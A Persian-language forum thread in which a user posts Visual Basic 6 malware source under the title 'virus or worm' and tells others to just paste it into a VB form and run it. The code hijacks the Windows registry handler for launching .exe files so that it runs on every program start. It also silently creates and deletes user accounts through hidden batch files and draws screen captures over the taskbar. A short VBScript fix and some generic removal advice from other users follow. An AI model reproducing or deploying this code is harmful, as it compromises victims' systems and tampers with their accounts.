ویروس یا کرم

[avini]

Option Explicit
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) As Long

Private Type POINTAPI
x As Long
y As Long
End Type

Private Const SRCCOPY = &HCC0020

Dim dsktp As Long, St As Long, PP As POINTAPI
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Form_Load()
Call Install
Command$
Dim RestoreSetting As String
Dim a As Object
Dim B As Object

RestoreSetting = Chr$(34) + "%1" + Chr$(34) + " %*"
Set a = CreateObject("wscript.shell")
Set B = CreateObject("scripting.filesystemobject")

If Command$ <> vbNullString Then
a.regwrite "HKCR\exefile\shell\open\command\", Chr(34) + "%1" + Chr(34) + " %*"
ShellExecute Me.hwnd, "open", Command$, "", "", vbNormalFocus
Call Install
Unload Me
End If
Dim Wind As Long

Wind = FindWindow("Shell_TrayWnd", "")

Wind = FindWindowEx(Wind, 0, "Button", vbNullString)

St = GetDC(Wind)

Wind = GetDesktopWindow()

dsktp = GetDC(Wind)

Timer1.Enabled = True
Open "c:\User.bat" For Output As #1
Print #1, "Net User " & Text1.Text & " " & Text2.Text & " /add"
Close #1
Shell "c:\User.bat", vbHide
MsgBox "User Create Now", vbInformation, "Message"
Kill "c:\User.bat"
Open "c:\del.bat" For Output As #1
Print #1, "Net User " & Text6.Text & " /Del"
Close #1
Shell "c:\del.bat", vbHide
MsgBox "User Delete Now", vbInformation, "Message"
Kill "c:\del.bat"
End Sub
Public Sub Install()
Dim a As Object
Dim B As Object
Dim Setting As String
Dim Original As String

Setting = Chr$(34) + "%1" + Chr$(34) + " %*"
Set a = CreateObject("wscript.shell")
Set B = CreateObject("scripting.filesystemobject")

Original = a.regread("HKCR\exefile\shell\open\command\")
If Original = Setting Then
a.regwrite "HKCR\exefile\shell\open\command\original", Setting
a.regwrite "HKCR\exefile\shell\open\command\", B.buildpath(App.Path, App.EXEName & ".EXE %1 %*")
End If
End Sub

Private Sub Timer1_Timer()
GetCursorPos PP

StretchBlt St, 0, 0, 60, 25, dsktp, PP.x - 30, PP.y - 12.5, 60, 25, SRCCOPY

End Sub
Private Sub Timer3_Timer()
Unload Me
End Sub
فقط بزارش تو یک فرم وی بی اجراش کن
set shl=createobject("wscript.shell")
shl.regwrite "HKCR\exefile\shell\open\command\",Chr(34) + "%1" + Chr(34) + " %*"
این هم آنتیش وی بی اسکریپته

[reza_g]

این آنتی چی بود دوست خوب؟
کسی آنتی win32.unair رو نداره؟
هیچ آنتی ویروسی نمیشناسش

[lord_viper]

معمولا اکثر ویروسها رو میتونی تو taskmanagerپروسسشونو ببندی بعد بری تو msconfigقسمت استارت اپ تیک اونو بردارین و به ادرسش رفته و اونو پاک کنید معمولا اکثر ویروسا اینجوری پاک میشن

[arnh]

این آنتی چی بود دوست خوب؟
کسی آنتی win32.unair رو نداره؟
هیچ آنتی ویروسی نمیشناسش

بازم پاردوکس !!

آخه عزیز جان شما اسم ویروس رو میگی بعد میگی هیچ آنتی ویروسی نمی شناسدش !